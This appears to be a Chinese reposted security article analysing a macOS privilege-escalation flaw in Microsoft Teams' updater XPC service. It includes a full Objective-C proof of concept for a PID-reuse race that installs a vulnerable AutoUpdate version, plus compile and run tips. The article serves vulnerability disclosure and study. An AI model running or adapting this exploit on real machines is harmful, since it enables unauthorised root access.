安全動態(tài)

MICROSOFT TEAMS MACOS版本本地權限提升漏洞

來源:聚銘網(wǎng)絡    發(fā)布時間:2020-11-25    瀏覽次數(shù):
 

信息來源:嘶吼網(wǎng)

Offensive Security安全研究人員在Microsoft Teams的XPC 服務中發(fā)現(xiàn)了一個安全漏洞,并將漏洞報告給了MSRC,微軟確認了該漏洞但決定不立即修復。

漏洞根源分析

漏洞是兩個不同問題引發(fā),當這兩個問題組合在一起時就會引發(fā)漏洞利用場景:

· 不安全的XPC 連接驗證;

· 安裝包用戶控制和包簽名驗證不充分;

XPC 服務是由/Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist 文件啟動的。

% sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o -
 

 

   Label com.microsoft.teams.TeamsUpdaterDaemon MachServices  
     com.microsoft.teams.TeamsUpdaterDaemon 
       Program /Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon

圖1 – Microsoft Teams Updater launchd文件

其中含有一個名為com.microsoft.teams.TeamsUpdaterDaemon 的Mach服務,可執(zhí)行路徑為/Applications/MicrosoftTeams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon。這個位置是很不尋常的,因為類似的服務一般安裝在 /Library/PrivilegedHelperTools/ 目錄下。

研究人員用Hopper 打開了該二進制文件,開始分析shouldAcceptNewConnection: 方法,該方法負責控制對XPC 服務的連接訪問。

/* @class ServiceDelegate */
 
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
 
r12 = [arg3 retain];
 
rdx = r12;
 
r14 = [self isValidConnection:rdx];

圖 2 –shouldAcceptNewConnection: 方法開始部分

shouldAcceptNewConnection: 方法會接受NSXPCConnection 對象作為參數(shù),其中含有對連接的客戶端的引用。本例中參數(shù)是arg3,會立刻傳遞給isValidConnection: 方法來驗證連接的客戶端。isValidConnection: 方法如下所示:

-(char)isValidConnection:(void *)arg2 {
 
r13 = [arg2 retain];
 
rbx = [[Logger getInstance] retain];
 
[rbx logInfo:@"Validating connection"];
 
[rbx release];
 
rbx = [arg2 processIdentifier];

圖3 – isValidConnection: 方法

isValidConnection: 方法會獲取客戶端的PID,用于之后的驗證。如果開發(fā)者使用auditToken 特征而不是PID,那么XPC 服務就可以驗證連接的服務是不是期望的了。但是,因為PID可以重用,因此驗證是可能被繞過的。

通過processIdentifier 的連接的驗證是非常復雜的。但是因為使用了PID 就可能會被繞過。

通過分析主應用的代碼簽名可以發(fā)現(xiàn)另外一個問題:

% codesign -dv --entitlements :- /Applications/Microsoft\ Teams.app
 
Executable=/Applications/Microsoft Teams.app/Contents/MacOS/Teams
 
Identifier=com.microsoft.teams
 
Format=app bundle with Mach-O thin (x86_64)
 
CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embedded
 
Signature size=9060
 
Timestamp=2020. Jun 4. 3:32:37
 
Info.plist entries=17
 
TeamIdentifier=UBF8T346G9
 
Runtime Version=10.12.0
 
Sealed Resources version=2 rules=13 files=128
 
Internal requirements count=1 size=180
 

 

   com.apple.security.device.camera  com.apple.security.device.audio-input  com.apple.security.personal-information.location  com.apple.security.automation.apple-events  com.apple.security.cs.allow-jit  com.apple.security.cs.allow-unsigned-executable-memory  com.apple.security.cs.disable-library-validation  com.apple.security.cs.disable-executable-page-protection

圖4 – “Microsoft Teams.app”的代碼簽名

即時使用了audit_token,MS Teams 應用仍然可能會受到dylib代理攻擊的影響,因為com.apple.security.cs.disable-library-validation entitlement 被設置為true。因此,攻擊者可以向應用注入dylib、當其連接到XPC 服務時冒充它。

雖然app的文件夾只有root用戶可寫,并且無法替換其中的dylib,但是惡意攻擊者可以將其復制到任意文件,然后注入到復制的應用中。

可以看到app文件夾中可以被劫持的dylib很多,比如:

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib
/Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib

圖5 – “Microsoft Teams.app” 中的Dylibs

installUpdateWithPackage:withPreferences:withReply: 方法會將包路徑作為參數(shù)接受。該路徑是由用戶控制的,可以是文件系統(tǒng)中的任何文職。該方法會檢查文件是否存在,如果存在就清空應用支持文件夾。然后,該方法調(diào)用copyPkgToAppSupport: 來復制包到應用支持文件夾,該文件夾只有root 用戶才可以訪問。這會鎖定復制的文件并驗證。

該包被復制后,會調(diào)用validatePackage: 方法。

validatePackage: 方法會用pkgutil 來檢查包是否是代碼簽名的,如果是,就調(diào)用_FValidMicrosoftPackage。

 _FValidMicrosoftPackage 函數(shù)負責驗證微軟的簽名。驗證并不能預防老的、有漏洞的微軟應用的安裝。

總的來看,研究人員發(fā)現(xiàn)可以執(zhí)行dylib 劫持或PID 重用攻擊來與MS teams的XPC 服務對話。該服務會暴露一個允許安裝定制的微軟簽名的安裝包的函數(shù)。如果簽名驗證正確完成,就可以安裝可能含有有漏洞的老版本的微軟應用。

漏洞利用

為了利益Teams應用漏洞,首先需要連接XPC 服務。為此,研究人員用經(jīng)典的競爭條件PID 重用攻擊。因為每個對XPC 服務的調(diào)用都會執(zhí)行clearPkgsInAppSupport: 方法,應用支持文件夾的內(nèi)容會被刪除,只需要贏得競爭條件就可以了。如果贏得了競爭條件,復制的文件就會被刪除,引發(fā)漏洞利用失敗。

一旦與XPC 服務通信,就可以安裝Microsoft AutoUpdate (MAU) 4.20,其中包含本地權限提升漏洞。

漏洞利用方案如下:

· 通過PID 重用攻擊與XPC 服務通信;

· 安裝有漏洞的Microsoft AutoUpdate 版本;

· 利用MAU XPC服務中的權限提升漏洞(CVE-2020-0984)。

在運行漏洞利用代碼前,需要將有漏洞的MAU 安裝器放在正確的位置。研究人員將下載Microsoft_AutoUpdate_4.20.20020900_Updater.pkg 包,并將其放置在 /tmp/ 目錄。然后調(diào)用XPC 服務的 installUpdateWithPackage:withPreferences:withReply: 方法,并執(zhí)行PID 重用攻擊。

PoC 代碼如下:

#import #include #include  
@protocol TeamsUpdaterDaemonProtocol
- (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)ping:(void (^)(void))arg1;
@end
 
int main(void) {
 
//Only 2 is the race count, more than that will result in deletion of our own pkg files
#define RACE_COUNT 2
// Define application allowed to communicate with XPC service
#define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams"
extern char **environ;
 
int pids[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++)
{
int pid = fork();
//Only enter for child process
if (pid == 0)
{
NSString* _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon";
//Connect to Vulnerable XPC Service
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]];
[_agentConnection resume];
 
// Handle error if one occurs
id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
(void)error;
NSLog(@"Connection Failure");
}];
 
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", _agentConnection);
 
//run MS installer
//pkg path
NSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg";
 
//preferences dictionary objects, a random UID, and the current user's name
NSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()]
forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]];
 
//call the XPC
[obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString* arg3){
NSLog(@"%@",arg3);
}];
//Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams
//Once the connection is verified with the valid spawned process, the message sent above will be consumed
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// keep the children alive
sleep(10);
 
cleanup:
for (int i = 0; i < RACE_COUNT; i++)
{
pids[i] && kill(pids[i], 9);
}
}

可以用下面的命令編譯PoC 代碼:

gcc -framework Foundation msteamspid.m -o msteamspid

運行漏洞利用后,需要檢查MAU 包是否安裝過。因為漏洞利用使用了競爭條件,可能需要多次運行。根據(jù)機器的速度,RACE_COUNT 變量可能需要調(diào)整。

根據(jù)位于 /Library/Logs/Microsoft/Teams/updater.log的 XPC 服務日志,下面的記錄會出現(xiàn)一次,否則漏洞利用將會失敗。

2020-07-05 15:35:28[TeamsUpdaterDaemon]<727>-信息-連接驗證

多次調(diào)用 installUpdateWithPackage:withPreferences:withReply: 可能會在clearPkgsInAppSupport: 調(diào)用過程中引發(fā)pkg 文件移除,安裝將會失敗。

成功利用了Microsoft Teams漏洞后,需要通過XPC 調(diào)用剛剛安裝的MAU 應用。MAU 漏洞利用可以通過注入dylib 來完成。

 
 

上一篇:2020年11月24日聚銘安全速遞

下一篇:巴爾干化升級:全球互聯(lián)網(wǎng)審查現(xiàn)狀